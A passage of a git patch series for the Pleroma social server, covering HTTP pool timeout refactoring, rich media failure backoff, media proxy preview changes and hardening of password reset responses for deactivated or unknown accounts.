options) do - options = Keyword.put_new(options, :adapter, pool: :upload) + options = Keyword.put_new(options, :adapter, pool: :default) with {:ok, %Tesla.Env{} = env} <- HTTP.get(url, headers, options) do {:ok, {env.status, env.headers, env.body}} @@ -20,7 +20,7 @@ def get(url, headers, options) do @impl true def head(url, headers, options) do - options = Keyword.put_new(options, :adapter, pool: :upload) + options = Keyword.put_new(options, :adapter, pool: :default) with {:ok, %Tesla.Env{} = env} <- HTTP.head(url, headers, options) do {:ok, {env.status, env.headers}} -- cgit v1.2.3 From 84fbf1616104c09e0f4f5442d86ca2c573ae4056 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 2 Sep 2020 10:50:51 +0300 Subject: timeout option moved to gun adapter helper --- lib/pleroma/http/adapter_helper.ex | 23 ++--------------------- lib/pleroma/http/adapter_helper/gun.ex | 15 +++++++++++++++ lib/pleroma/uploaders/s3.ex | 14 +++++++++----- 3 files changed, 26 insertions(+), 26 deletions(-) diff --git a/lib/pleroma/http/adapter_helper.ex b/lib/pleroma/http/adapter_helper.ex index 740e6e9ff..0728cbaa2 100644 --- a/lib/pleroma/http/adapter_helper.ex +++ b/lib/pleroma/http/adapter_helper.ex @@ -10,9 +10,7 @@ defmodule Pleroma.HTTP.AdapterHelper do @type proxy_type() :: :socks4 | :socks5 @type host() :: charlist() | :inet.ip_address() - @type pool() :: :federation | :upload | :media | :default - alias Pleroma.Config alias Pleroma.HTTP.AdapterHelper require Logger @@ -46,29 +44,12 @@ def maybe_add_proxy(opts, proxy), do: Keyword.put_new(opts, :proxy, proxy) def options(%URI{} = uri, opts \\ []) do @defaults |> Keyword.merge(opts) - |> put_timeout() |> adapter_helper().options(uri) end - @spec pool_timeout(pool()) :: non_neg_integer() - def pool_timeout(pool) do - {config_key, default} = - if adapter() == Tesla.Adapter.Gun do - {:pools, Config.get([:pools, :default, :timeout], 5_000)} - else - {:hackney_pools, 10_000} - end - - Config.get([config_key, pool, :timeout], default) - end - - # For Hackney, this is the time a connection can stay idle in the pool. - # For Gun, this is the timeout to receive a message from Gun. - defp put_timeout(opts) do - Keyword.put_new(opts, :timeout, pool_timeout(opts[:pool])) - end - + @spec get_conn(URI.t(), keyword()) :: {:ok, keyword()} | {:error, atom()} def get_conn(uri, opts), do: adapter_helper().get_conn(uri, opts) + defp adapter, do: Application.get_env(:tesla, :adapter) defp adapter_helper do diff --git a/lib/pleroma/http/adapter_helper/gun.ex b/lib/pleroma/http/adapter_helper/gun.ex index db0a298b3..02e20f2d1 100644 --- a/lib/pleroma/http/adapter_helper/gun.ex +++ b/lib/pleroma/http/adapter_helper/gun.ex @@ -20,6 +20,8 @@ defmodule Pleroma.HTTP.AdapterHelper.Gun do await_up_timeout: 5_000 ] + @type pool() :: :federation | :upload | :media | :default + @spec options(keyword(), URI.t()) :: keyword() def options(incoming_opts \\ [], %URI{} = uri) do proxy = @@ -34,6 +36,7 @@ def options(incoming_opts \\ [], %URI{} = uri) do |> add_scheme_opts(uri) |> AdapterHelper.maybe_add_proxy(proxy) |> Keyword.merge(incoming_opts) + |> put_timeout() end defp add_scheme_opts(opts, %{scheme: "http"}), do: opts @@ -42,6 +45,18 @@ defp add_scheme_opts(opts, %{scheme: "https"}) do Keyword.put(opts, :certificates_verification, true) end + defp put_timeout(opts) do + # this is the timeout to receive a message from Gun + Keyword.put_new(opts, :timeout, pool_timeout(opts[:pool])) + end + + @spec pool_timeout(pool()) :: non_neg_integer() + def pool_timeout(pool) do + default = Config.get([:pools, :default, :timeout], 5_000) + + Config.get([:pools, pool, :timeout], default) + end + @spec get_conn(URI.t(), keyword()) :: {:ok, keyword()} | {:error, atom()} def get_conn(uri, opts) do case ConnectionPool.get_conn(uri, opts) do diff --git a/lib/pleroma/uploaders/s3.ex b/lib/pleroma/uploaders/s3.ex index ed9794ca2..6dbef9085 100644 --- a/lib/pleroma/uploaders/s3.ex +++ b/lib/pleroma/uploaders/s3.ex @@ -54,11 +54,15 @@ def put_file(%Pleroma.Upload{} = upload) do {:content_type, upload.content_type} ]) - # set s3 upload timeout to respect :upload pool timeout - # timeout should be slightly larger, so s3 can retry upload on fail - timeout = Pleroma.HTTP.AdapterHelper.pool_timeout(:upload) + 1_000 - opts = Keyword.put(op.opts, :timeout, timeout) - Map.put(op, :opts, opts) + if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Gun do + # set s3 upload timeout to respect :upload pool timeout + # timeout should be slightly larger, so s3 can retry upload on fail + timeout = Pleroma.HTTP.AdapterHelper.Gun.pool_timeout(:upload) + 1_000 + opts = Keyword.put(op.opts, :timeout, timeout) + Map.put(op, :opts, opts) + else + op + end else {:ok, file_data} = File.read(upload.tempfile) -- cgit v1.2.3 From 46236d1d873473d95b11cd7bfdcaa284ea55a9ad Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Wed, 2 Sep 2020 12:42:25 +0300 Subject: html.ex: optimize external url extraction By using a :not() selector and only extracting attributes from the first match. --- lib/pleroma/html.ex | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/html.ex b/lib/pleroma/html.ex index dc1b9b840..20b02f091 100644 --- a/lib/pleroma/html.ex +++ b/lib/pleroma/html.ex @@ -109,8 +109,9 @@ def extract_first_external_url(object, content) do result = content |> Floki.parse_fragment!() - |> Floki.filter_out("a.mention,a.hashtag,a.attachment,a[rel~=\"tag\"]") - |> Floki.attribute("a", "href") + |> Floki.find("a:not(.mention,.hashtag,.attachment,[rel~=\"tag\"])") + |> Enum.take(1) + |> Floki.attribute("href") |> Enum.at(0) {:commit, {:ok, result}} -- cgit v1.2.3 From 19691389b92e617f1edad7d4e3168fe917d0a675 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Wed, 2 Sep 2020 14:21:28 +0300 Subject: Rich media: Add failure tracking --- CHANGELOG.md | 3 ++ config/config.exs | 1 + config/description.exs | 7 ++++ docs/configuration/cheatsheet.md | 1 + lib/pleroma/web/rich_media/parser.ex | 54 +++++++++++++++++------------ test/web/rich_media/aws_signed_url_test.exs | 2 +- 6 files changed, 45 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 07bc6d77c..4424c060f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## unreleased-patch - ??? +### Added +- Rich media failure tracking (along with `:failure_backoff` option) + ### Fixed - Mastodon API: Search parameter `following` now correctly returns the followings rather than the followers diff --git a/config/config.exs b/config/config.exs index ea8869d48..ed37b93c0 100644 --- a/config/config.exs +++ b/config/config.exs @@ -412,6 +412,7 @@ Pleroma.Web.RichMedia.Parsers.TwitterCard, Pleroma.Web.RichMedia.Parsers.OEmbed ], + failure_backoff: 60_000, ttl_setters: [Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl] config :pleroma, :media_proxy, diff --git a/config/description.exs b/config/description.exs index 29a657333..5e08ba109 100644 --- a/config/description.exs +++ b/config/description.exs @@ -2385,6 +2385,13 @@ suggestions: [ Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl ] + }, + %{ + key: :failure_backoff, + type: :integer, + description: + "Amount of milliseconds after request failure, during which the request will not be retried.", + suggestions: [60_000] } ] }, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 2f440adf4..a9a650fab 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -361,6 +361,7 @@ config :pleroma, Pleroma.Web.MediaProxy.Invalidation.Http, * `ignore_hosts`: list of hosts which will be ignored by the metadata parser. For example `["accounts.google.com", "xss.website"]`, defaults to `[]`. * `ignore_tld`: list TLDs (top-level domains) which will ignore for parse metadata. default is ["local", "localdomain", "lan"]. * `parsers`: list of Rich Media parsers. +* `failure_backoff`: Amount of milliseconds after request failure, during which the request will not be retried. ## HTTP server diff --git a/lib/pleroma/web/rich_media/parser.ex b/lib/pleroma/web/rich_media/parser.ex index e9aa2dd03..e98c743ca 100644 --- a/lib/pleroma/web/rich_media/parser.ex +++ b/lib/pleroma/web/rich_media/parser.ex @@ -17,14 +17,25 @@ def parse(url), do: parse_url(url) else @spec parse(String.t()) :: {:ok, map()} | {:error, any()} def parse(url) do - Cachex.fetch!(:rich_media_cache, url, fn _ -> - with {:ok, data} <- parse_url(url) do - {:commit, {:ok, data}} - else - error -> {:ignore, error} - end - end) - |> set_ttl_based_on_image(url) + with {:ok, data} <- get_cached_or_parse(url), + {:ok, _} <- set_ttl_based_on_image(data, url) do + {:ok, data} + else + error -> + Logger.error(fn -> "Rich media error: #{inspect(error)}" end) + end + end + + defp get_cached_or_parse(url) do + case Cachex.fetch!(:rich_media_cache, url, fn _ -> {:commit, parse_url(url)} end) do + {:ok, _data} = res -> + res + + {:error, _} = e -> + ttl = Pleroma.Config.get([:rich_media, :failure_backoff], 60_000) + Cachex.expire(:rich_media_cache, url, ttl) + e + end end end @@ -50,24 +61,23 @@ def ttl(data, url) do config :pleroma, :rich_media, ttl_setters: [MyModule] """ - @spec set_ttl_based_on_image({:ok, map()} | {:error, any()}, String.t()) :: - {:ok, map()} | {:error, any()} - def set_ttl_based_on_image({:ok, data}, url) do - with {:ok, nil} <- Cachex.ttl(:rich_media_cache, url), - {:ok, ttl} when is_number(ttl) <- get_ttl_from_image(data, url) do - Cachex.expire_at(:rich_media_cache, url, ttl * 1000) - {:ok, data} - else + @spec set_ttl_based_on_image(map(), String.t()) :: + {:ok, Integer.t() | :noop} | {:error, :no_key} + def set_ttl_based_on_image(data, url) do + case get_ttl_from_image(data, url) do + {:ok, ttl} when is_number(ttl) -> + ttl = ttl * 1000 + + case Cachex.expire_at(:rich_media_cache, url, ttl) do + {:ok, true} -> {:ok, ttl} + {:ok, false} -> {:error, :no_key} + end + _ -> - {:ok, data} + {:ok, :noop} end end - def set_ttl_based_on_image({:error, _} = error, _) do - Logger.error("parsing error: #{inspect(error)}") - error - end - defp get_ttl_from_image(data, url) do [:rich_media, :ttl_setters] |> Pleroma.Config.get() diff --git a/test/web/rich_media/aws_signed_url_test.exs b/test/web/rich_media/aws_signed_url_test.exs index a21f3c935..1ceae1a31 100644 --- a/test/web/rich_media/aws_signed_url_test.exs +++ b/test/web/rich_media/aws_signed_url_test.exs @@ -55,7 +55,7 @@ test "s3 signed url is parsed and correct ttl is set for rich media" do Cachex.put(:rich_media_cache, url, metadata) - Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image({:ok, metadata}, url) + Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) -- cgit v1.2.3 From a11f23c130331d98db941c3edcc4d2dcf139bbc6 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 2 Sep 2020 15:45:47 +0300 Subject: user agent if Endpoint is not started yet --- lib/pleroma/application.ex | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index 005aba50a..33b1e3872 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -22,13 +22,18 @@ def named_version, do: @name <> " " <> @version def repository, do: @repository def user_agent do - case Config.get([:http, :user_agent], :default) do - :default -> - info = "#{Pleroma.Web.base_url()} <#{Config.get([:instance, :email], "")}>" - named_version() <> "; " <> info - - custom -> - custom + if Process.whereis(Pleroma.Web.Endpoint) do + case Config.get([:http, :user_agent], :default) do + :default -> + info = "#{Pleroma.Web.base_url()} <#{Config.get([:instance, :email], "")}>" + named_version() <> "; " <> info + + custom -> + custom + end + else + # fallback, if endpoint is not started yet + "Pleroma Data Loader" end end -- cgit v1.2.3 From d48fc90978eee46c8fba00a80082d14fc31a0eec Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Wed, 2 Sep 2020 13:44:08 +0300 Subject: StatusView: Start fetching rich media cards as soon as possible --- CHANGELOG.md | 2 ++ lib/pleroma/web/mastodon_api/views/status_view.ex | 16 ++++++++++++++++ 2 files changed, 18 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4424c060f..54685cfb8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Fixed - Mastodon API: Search parameter `following` now correctly returns the followings rather than the followers +- Mastodon API: Timelines hanging for (`number of posts with links * rich media timeout`) in the worst case. + Reduced to just rich media timeout. ## [2.1.0] - 2020-08-28 diff --git a/lib/pleroma/web/mastodon_api/views/status_view.ex b/lib/pleroma/web/mastodon_api/views/status_view.ex index 01b8bb6bb..3fe1967be 100644 --- a/lib/pleroma/web/mastodon_api/views/status_view.ex +++ b/lib/pleroma/web/mastodon_api/views/status_view.ex @@ -23,6 +23,17 @@ defmodule Pleroma.Web.MastodonAPI.StatusView do import Pleroma.Web.ActivityPub.Visibility, only: [get_visibility: 1, visible_for_user?: 2] + # This is a naive way to do this, just spawning a process per activity + # to fetch the preview. However it should be fine considering + # pagination is restricted to 40 activities at a time + defp fetch_rich_media_for_activities(activities) do + Enum.each(activities, fn activity -> + spawn(fn -> + Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) + end) + end) + end + # TODO: Add cached version. defp get_replied_to_activities([]), do: %{} @@ -80,6 +91,11 @@ def render("index.json", opts) do # To do: check AdminAPIControllerTest on the reasons behind nil activities in the list activities = Enum.filter(opts.activities, & &1) + + # Start fetching rich media before doing anything else, so that later calls to get the cards + # only block for timeout in the worst case, as opposed to + # length(activities_with_links) * timeout + fetch_rich_media_for_activities(activities) replied_to_activities = get_replied_to_activities(activities) parent_activities = -- cgit v1.2.3 From cbf7f0e02943f44a73f4418b8c6a8bada06331d8 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Wed, 2 Sep 2020 09:09:13 -0500 Subject: Disallow password resets for deactivated accounts. Ensure all responses to password reset events are identical. --- CHANGELOG.md | 1 + .../mastodon_api/controllers/auth_controller.ex | 16 +++++----------- lib/pleroma/web/twitter_api/twitter_api.ex | 13 ++----------- .../controllers/auth_controller_test.exs | 22 ++++++++++++++++------ 4 files changed, 24 insertions(+), 28 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 54685cfb8..cdd5b94a8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Mastodon API: Search parameter `following` now correctly returns the followings rather than the followers - Mastodon API: Timelines hanging for (`number of posts with links * rich media timeout`) in the worst case. Reduced to just rich media timeout. +- Password resets no longer processed for deactivated accounts ## [2.1.0] - 2020-08-28 diff --git a/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex b/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex index 753b3db3e..9f09550e1 100644 --- a/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex @@ -59,17 +59,11 @@ def logout(conn, _) do def password_reset(conn, params) do nickname_or_email = params["email"] || params["nickname"] - with {:ok, _} <- TwitterAPI.password_reset(nickname_or_email) do - conn - |> put_status(:no_content) - |> json("") - else - {:error, "unknown user"} -> - send_resp(conn, :not_found, "") - - {:error, _} -> - send_resp(conn, :bad_request, "") - end + TwitterAPI.password_reset(nickname_or_email) + + conn + |> put_status(:no_content) + |> json("") end defp local_mastodon_root_path(conn) do diff --git a/lib/pleroma/web/twitter_api/twitter_api.ex b/lib/pleroma/web/twitter_api/twitter_api.ex index 2294d9d0d..5d7948507 100644 --- a/lib/pleroma/web/twitter_api/twitter_api.ex +++ b/lib/pleroma/web/twitter_api/twitter_api.ex @@ -72,7 +72,7 @@ defp maybe_notify_admins(%User{} = account) do def password_reset(nickname_or_email) do with true <- is_binary(nickname_or_email), - %User{local: true, email: email} = user when is_binary(email) <- + %User{local: true, email: email, deactivated: false} = user when is_binary(email) <- User.get_by_nickname_or_email(nickname_or_email), {:ok, token_record} <- Pleroma.PasswordResetToken.create_token(user) do user @@ -81,17 +81,8 @@ def password_reset(nickname_or_email) do {:ok, :enqueued} else - false -> - {:error, "bad user identifier"} - - %User{local: true, email: nil} -> + _ -> {:ok, :noop} - - %User{local: false} -> - {:error, "remote user"} - - nil -> - {:error, "unknown user"} end end diff --git a/test/web/mastodon_api/controllers/auth_controller_test.exs b/test/web/mastodon_api/controllers/auth_controller_test.exs index a485f8e41..4fa95fce1 100644 --- a/test/web/mastodon_api/controllers/auth_controller_test.exs +++ b/test/web/mastodon_api/controllers/auth_controller_test.exs @@ -122,17 +122,27 @@ test "it doesn't fail when a user has no email", %{conn: conn} do {:ok, user: user} end - test "it returns 404 when user is not found", %{conn: conn, user: user} do + test "it returns 204 when user is not found", %{conn: conn, user: user} do conn = post(conn, "/auth/password?email=nonexisting_#{user.email}") - assert conn.status == 404 - assert conn.resp_body == "" + + assert conn + |> json_response(:no_content) end - test "it returns 400 when user is not local", %{conn: conn, user: user} do + test "it returns 204 when user is not local", %{conn: conn, user: user} do {:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false)) conn = post(conn, "/auth/password?email=#{user.email}") - assert conn.status == 400 - assert conn.resp_body == "" + + assert conn + |> json_response(:no_content) + end + + test "it returns 204 when user is deactivated", %{conn: conn, user: user} do + {:ok, user} = Repo.update(Ecto.Changeset.change(user, deactivated: true, local: true)) + conn = post(conn, "/auth/password?email=#{user.email}") + + assert conn + |> json_response(:no_content) end end -- cgit v1.2.3 From 581f382e712dc50fa51d1ab211f13b8843dcb448 Mon Sep 17 00:00:00 2001 From: lain <lain@soykaf.club> Date: Wed, 2 Sep 2020 18:32:00 +0200 Subject: ListController: DRY up stuff. --- .../web/mastodon_api/controllers/list_controller.ex | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex index 4df13cb81..5daeaa780 100644 --- a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex @@ -74,7 +74,7 @@ def add_to_list(%{assigns: %{list: list}, body_params: %{account_ids: account_id # DELETE /api/v1/lists/:id/accounts def remove_from_list( - %{assigns: %{list: list}, body_params: %{account_ids: account_ids}} = conn, + %{assigns: %{list: list}, params: %{account_ids: account_ids}} = conn, _ ) do Enum.each(account_ids, fn account_id -> @@ -86,17 +86,8 @@ def remove_from_list( json(conn, %{}) end - def remove_from_list( - %{assigns: %{list: list}, params: %{account_ids: account_ids}} = conn, - _ - ) do - Enum.each(account_ids, fn account_id -> - with %User{} = followed <- User.get_cached_by_id(account_id) do - Pleroma.List.unfollow(list, followed) - end - end) - - json(conn, %{}) + def remove_from_list(%{body_params: params} = conn, _) do + remove_from_list(%{conn | params: params}, %{}) end defp list_by_id_and_user(%{assigns: %{user: user}, params: %{id: id}} = conn, _) do -- cgit v1.2.3 From 5da367760748f7c4534b84dcb9286d715110472e Mon Sep 17 00:00:00 2001 From: lain <lain@soykaf.club> Date: Thu, 3 Sep 2020 11:40:17 +0200 Subject: Frontend mix task: Add tests. --- test/tasks/frontend_test.exs | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/test/tasks/frontend_test.exs b/test/tasks/frontend_test.exs index 0ca2b9a28..022ae51be 100644 --- a/test/tasks/frontend_test.exs +++ b/test/tasks/frontend_test.exs @@ -48,11 +48,18 @@ test "it also works given a file" do } }) + folder = Path.join([@dir, "frontends", "pleroma", "fantasy"]) + previously_existing = Path.join([folder, "temp"]) + File.mkdir_p!(folder) + File.write!(previously_existing, "yey") + assert File.exists?(previously_existing) + capture_io(fn -> Frontend.run(["install", "pleroma", "--file", "test/fixtures/tesla_mock/frontend.zip"]) end) - assert File.exists?(Path.join([@dir, "frontends", "pleroma", "fantasy", "test.txt"])) + assert File.exists?(Path.join([folder, "test.txt"])) + refute File.exists?(previously_existing) end test "it downloads and unzips unknown frontends" do -- cgit v1.2.3 From 60c925380da644866836fa4a275f4d57eaaada04 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov <ivantashkinov@gmail.com> Date: Thu, 3 Sep 2020 20:13:29 +0300 Subject: [#2497] Added support for enforcing output format for media proxy preview, used for avatar_static & header_static (AccountView). --- lib/pleroma/helpers/uri_helper.ex | 1 + lib/pleroma/web/mastodon_api/views/account_view.ex | 4 ++-- lib/pleroma/web/media_proxy/media_proxy.ex | 15 +++++++++------ lib/pleroma/web/media_proxy/media_proxy_controller.ex | 11 ++++++++--- 4 files changed, 20 insertions(+), 11 deletions(-) diff --git a/lib/pleroma/helpers/uri_helper.ex b/lib/pleroma/helpers/uri_helper.ex index 6d205a636..9c9e53447 100644 --- a/lib/pleroma/helpers/uri_helper.ex +++ b/lib/pleroma/helpers/uri_helper.ex @@ -15,6 +15,7 @@ def append_uri_params(uri, appended_params) do uri |> Map.put(:query, URI.encode_query(updated_params)) |> URI.to_string() + |> String.replace_suffix("?", "") end def maybe_add_base("/" <> uri, base), do: Path.join([base, uri]) diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex index 7eb4e86fe..a811f81c2 100644 --- a/lib/pleroma/web/mastodon_api/views/account_view.ex +++ b/lib/pleroma/web/mastodon_api/views/account_view.ex @@ -182,9 +182,9 @@ defp do_render("show.json", %{user: user} = opts) do display_name = user.name || user.nickname avatar = User.avatar_url(user) |> MediaProxy.url() - avatar_static = User.avatar_url(user) |> MediaProxy.preview_url() + avatar_static = User.avatar_url(user) |> MediaProxy.preview_url(output_format: "jpeg") header = User.banner_url(user) |> MediaProxy.url() - header_static = User.banner_url(user) |> MediaProxy.preview_url() + header_static = User.banner_url(user) |> MediaProxy.preview_url(output_format: "jpeg") following_count = if !user.hide_follows_count or !user.hide_follows or opts[:for] == user do diff --git a/lib/pleroma/web/media_proxy/media_proxy.ex b/lib/pleroma/web/media_proxy/media_proxy.ex index 6695d49ce..4cbe1cf89 100644 --- a/lib/pleroma/web/media_proxy/media_proxy.ex +++ b/lib/pleroma/web/media_proxy/media_proxy.ex @@ -4,6 +4,7 @@ defmodule Pleroma.Web.MediaProxy do alias Pleroma.Config + alias Pleroma.Helpers.UriHelper alias Pleroma.Upload alias Pleroma.Web alias Pleroma.Web.MediaProxy.Invalidation @@ -58,9 +59,9 @@ def url_proxiable?(url) do # Note: routing all URLs to preview handler (even local and whitelisted). # Preview handler will call url/1 on decoded URLs, and applicable ones will detour media proxy. - def preview_url(url) do + def preview_url(url, preview_params \\ []) do if preview_enabled?() do - encode_preview_url(url) + encode_preview_url(url, preview_params) else url end @@ -116,10 +117,10 @@ def encode_url(url) do build_url(sig64, base64, filename(url)) end - def encode_preview_url(url) do + def encode_preview_url(url, preview_params \\ []) do {base64, sig64} = base64_sig64(url) - build_preview_url(sig64, base64, filename(url)) + build_preview_url(sig64, base64, filename(url), preview_params) end def decode_url(sig, url) do @@ -155,8 +156,10 @@ def build_url(sig_base64, url_base64, filename \\ nil) do proxy_url("proxy", sig_base64, url_base64, filename) end - def build_preview_url(sig_base64, url_base64, filename \\ nil) do - proxy_url("proxy/preview", sig_base64, url_base64, filename) + def build_preview_url(sig_base64, url_base64, filename \\ nil, preview_params \\ []) do + uri = proxy_url("proxy/preview", sig_base64, url_base64, filename) + + UriHelper.append_uri_params(uri, preview_params) end def verify_request_path_and_url( diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 961c73666..9dc76e928 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -67,9 +67,14 @@ defp handle_preview(conn, url) do end end - # TODO: find a workaround so avatar_static and header_static can work. - # Those only permit GIFs for animation, so we have to permit a way to - # allow those to get real static variants. + defp handle_preview( + "image/" <> _ = _content_type, + %{params: %{"output_format" => "jpeg"}} = conn, + url + ) do + handle_jpeg_preview(conn, url) + end + defp handle_preview("image/gif" = _content_type, conn, url) do mediaproxy_url = url |> MediaProxy.url() -- cgit v1.2.3 From 6141eb94ab034b5141a5c60b2814fb45b829c1ac Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Thu, 3 Sep 2020 12:40:42 -0500 Subject: Fetch preview requests through the MediaProxy. Separate connection options are not needed. Use a separate pool for preview requests --- config/config.exs | 10 ++++++---- config/description.exs | 21 --------------------- .../web/media_proxy/media_proxy_controller.ex | 17 ++--------------- 3 files changed, 8 insertions(+), 40 deletions(-) diff --git a/config/config.exs b/config/config.exs index 317ef84a9..d691753bd 100644 --- a/config/config.exs +++ b/config/config.exs @@ -445,10 +445,7 @@ enabled: false, thumbnail_max_width: 600, thumbnail_max_height: 600, - image_quality: 85, - proxy_opts: [ - head_request_max_read_duration: 5_000 - ] + image_quality: 85 config :pleroma, :chat, enabled: true @@ -761,6 +758,11 @@ max_waiting: 10, timeout: 10_000 ], + preview: [ + size: 50, + max_waiting: 10, + timeout: 10_000 + ], upload: [ size: 25, max_waiting: 5, diff --git a/config/description.exs b/config/description.exs index 868b89d29..73333d6e6 100644 --- a/config/description.exs +++ b/config/description.exs @@ -1978,27 +1978,6 @@ key: :image_quality, type: :integer, description: "Quality of the output. Ranges from 0 (min quality) to 100 (max quality)." - }, - %{ - key: :proxy_opts, - type: :keyword, - description: "Media proxy options", - suggestions: [ - head_request_max_read_duration: 5_000 - ], - children: [ - %{ - key: :head_request_max_read_duration, - type: :integer, - description: "Timeout (in milliseconds) of HEAD request to remote URI." - } - ] - }, - %{ - key: :whitelist, - type: {:list, :string}, - description: "List of hosts with scheme to bypass the mediaproxy", - suggestions: ["http://example.com"] } ] }, diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 961c73666..b1f00fa0c 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -33,8 +33,7 @@ def remote(conn, %{"sig" => sig64, "url" => url64}) do def preview(conn, %{"sig" => sig64, "url" => url64}) do with {_, true} <- {:enabled, MediaProxy.preview_enabled?()}, - {:ok, url} <- MediaProxy.decode_url(sig64, url64), - :ok <- MediaProxy.verify_request_path_and_url(conn, url) do + {:ok, url} <- MediaProxy.decode_url(sig64, url64) do handle_preview(conn, url) else {:enabled, false} -> @@ -50,9 +49,7 @@ def preview(conn, %{"sig" => sig64, "url" => url64}) do defp handle_preview(conn, url) do with {:ok, %{status: status} = head_response} when status in 200..299 <- - Tesla.head(url, - opts: [adapter: [timeout: preview_head_request_timeout(), follow_redirect: true]] - ) do + Pleroma.HTTP.request("head", MediaProxy.url(url), [], [], [adapter: [pool: :preview]]) do content_type = Tesla.get_header(head_response, "content-type") handle_preview(content_type, conn, url) else @@ -172,17 +169,7 @@ defp thumbnail_max_dimensions(params) do {thumbnail_max_width, thumbnail_max_height} end - defp preview_head_request_timeout do - Keyword.get(media_preview_proxy_opts(), :head_request_max_read_duration) || - Keyword.get(media_proxy_opts(), :max_read_duration) || - ReverseProxy.max_read_duration_default() - end - defp media_proxy_opts do Config.get([:media_proxy, :proxy_opts], []) end - - defp media_preview_proxy_opts do - Config.get([:media_preview_proxy, :proxy_opts], []) - end end -- cgit v1.2.3 From b529616e110b3d487f1f2c462791ceabe8f1baf3 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Thu, 3 Sep 2020 15:08:12 -0500 Subject: Increase pool and timeout for preview so it catches slow media pool responses --- config/config.exs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/config/config.exs b/config/config.exs index d691753bd..b92d3ccbb 100644 --- a/config/config.exs +++ b/config/config.exs @@ -760,8 +760,8 @@ ], preview: [ size: 50, - max_waiting: 10, - timeout: 10_000 + max_waiting: 20, + timeout: 15_000 ], upload: [ size: 25, -- cgit v1.2.3 From f25b0e87f3dd73e02c954c5baab3c52becdd9c9e Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Thu, 3 Sep 2020 15:28:57 -0500 Subject: URL passed to helper is already MediaProxy Set :preview pool on the request --- lib/pleroma/helpers/media_helper.ex | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 9bd815c26..cfb091f82 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -12,8 +12,7 @@ defmodule Pleroma.Helpers.MediaHelper do def image_resize(url, options) do with executable when is_binary(executable) <- System.find_executable("convert"), {:ok, args} <- prepare_image_resize_args(options), - url = Pleroma.Web.MediaProxy.url(url), - {:ok, env} <- Pleroma.HTTP.get(url), + {:ok, env} <- Pleroma.HTTP.get(url, [], [adapter: [pool: :preview]]), {:ok, fifo_path} <- mkfifo() do args = List.flatten([fifo_path, args]) run_fifo(fifo_path, env, executable, args) @@ -61,8 +60,7 @@ defp prepare_image_resize_args(_), do: {:error, :missing_options} def video_framegrab(url) do with executable when is_binary(executable) <- System.find_executable("ffmpeg"), - url = Pleroma.Web.MediaProxy.url(url), - {:ok, env} <- Pleroma.HTTP.get(url), + {:ok, env} <- Pleroma.HTTP.get(url, [], [adapter: [pool: :preview]]), {:ok, fifo_path} <- mkfifo(), args = [ "-y", 